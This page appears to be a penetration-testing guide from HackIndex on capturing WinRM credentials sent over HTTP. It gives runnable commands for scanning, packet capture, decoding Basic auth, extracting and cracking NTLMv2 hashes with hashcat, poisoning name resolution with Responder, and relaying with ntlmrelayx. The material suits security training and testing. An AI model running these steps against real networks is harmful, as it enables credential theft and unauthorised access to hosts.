Skip to content
HackIndex logo

HackIndex

WinRM Cleartext Credential Capture – HTTP Traffic Interception

4 min read Mar 29, 2026

WinRM on port 5985 uses HTTP transport. When Basic authentication is configured — which happens on misconfigured hosts, workgroup machines, and some management tools — credentials are base64-encoded in the Authorization header and trivially decoded. Even with NTLM authentication over HTTP, the NTLM handshake is fully capturable for offline cracking. HTTPS on 5986 encrypts the transport and prevents this.

Check whether the target is running HTTP or HTTPS before attempting capture:

┌──(kali㉿kali)-[~]
└─$ nmap -p 5985,5986 $TARGET_IP -sV
Explain command
-p 5985,5986 Scan only ports 5985 and 5986
$TARGET_IP Target IP address variable placeholder
-sV Probe open ports to determine service versions

Port 5985 open, 5986 closed — HTTP only, capture is viable.

Passive Capture with tcpdump

Position yourself on the same network segment as the WinRM client or server. Start a capture on port 5985:

┌──(kali㉿kali)-[~]
└─$ sudo tcpdump -i eth0 -w winrm-capture.pcap tcp port 5985
Explain command
sudo Execute command with superuser privileges
-i eth0 Capture packets on network interface eth0
-w winrm-capture.pcap Write captured packets to output file winrm-capture.pcap
tcp port 5985 Filter to capture only TCP traffic on port 5985 (WinRM)

Wait for a legitimate WinRM connection — scheduled tasks, management scripts, and remote administration tools trigger these regularly. Stop the capture once traffic is collected.

Extracting Credentials from the PCAP

Open in Wireshark and filter for HTTP:

http

Follow any TCP stream containing a POST to /wsman. Look for the Authorization: header in the request.

Basic authentication — the value is Basic <base64>. Decode directly:

┌──(kali㉿kali)-[~]
└─$ echo "Basic dXNlcm5hbWU6cGFzc3dvcmQ=" | cut -d' ' -f2 | base64 -d
Explain command
-d' ' Specify space as the delimiter for cut
-f2 Extract the 2nd field from cut output
-d Decode base64 input

Output is username:password in plaintext.

NTLM authentication — the value starts with NTLM followed by a base64 blob. Extract the full NTLM handshake from the three-way exchange:

  1. Client sends Authorization: NTLM <negotiate blob>

  2. Server responds with WWW-Authenticate: NTLM <challenge blob>

  3. Client sends Authorization: NTLM <authenticate blob>

The authenticate blob contains the NTLMv2 response. Extract the challenge from the server response and the hash from the client authenticate message. Use ntlmdecoder or extract manually with python-impacket's ntlmdecoder to reconstruct the NTLMv2 hash in hashcat format.

Using Wireshark's built-in NTLMSSP dissector — filter:

ntlmssp

Right-click the NTLMSSP_AUTH message → Follow TCP Stream. The dissected fields show the username, domain, NTChallenge, and NTProofStr needed to reconstruct the hash.

Crack with hashcat mode 5600:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 ntlmv2.hash /usr/share/wordlists/rockyou.txt --force
Explain command
-m 5600 Hash type mode for NTLMv2 hashes
ntlmv2.hash File containing NTLMv2 hashes to crack
/usr/share/wordlists/rockyou.txt Wordlist file for dictionary attack
--force Ignore warnings and force execution

Responder for Active Credential Capture

If you can influence network traffic — for example via DNS poisoning, WPAD abuse, or LLMNR/NBT-NS poisoning — Responder captures WinRM authentication attempts directed at non-existent or spoofed hosts.

┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0 -w -v
Explain command
-I eth0 Specify the network interface to listen on
-w Start WPAD rogue proxy server
-v Enable verbose output

When a WinRM client attempts to connect to a host that resolves to your IP via LLMNR/NBT-NS, Responder answers the authentication challenge and captures the NTLMv2 hash. It prints to screen and logs to /usr/share/responder/logs/.

Crack the captured hash:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 /usr/share/responder/logs/NTLMv2-*.txt /usr/share/wordlists/rockyou.txt --force
Explain command
-m 5600 Hash type mode for NTLMv2 hashes
/usr/share/responder/logs/NTLMv2-*.txt File path with wildcard for input NTLMv2 hash files
/usr/share/wordlists/rockyou.txt Dictionary wordlist file for password cracking
--force Ignore warnings and force execution without safety checks

Relay Instead of Crack

If cracking fails, relay the captured NTLM hash directly to another service. WinRM NTLM over HTTP is relayable. Set up ntlmrelayx targeting WinRM on another host:

┌──(kali㉿kali)-[~]
└─$ sudo ntlmrelayx.py -t http://$TARGET_IP:5985/wsman -smb2support
Explain command
-t http://$TARGET_IP:5985/wsman Target URL for relaying captured NTLM credentials to WinRM service
-smb2support Enable SMB2 protocol support for relay operations

When authentication is triggered, ntlmrelayx relays it and opens a WinRM session. See https://hackindex.io/services/smb/exploitation/ntlm-relay for full relay setup.

References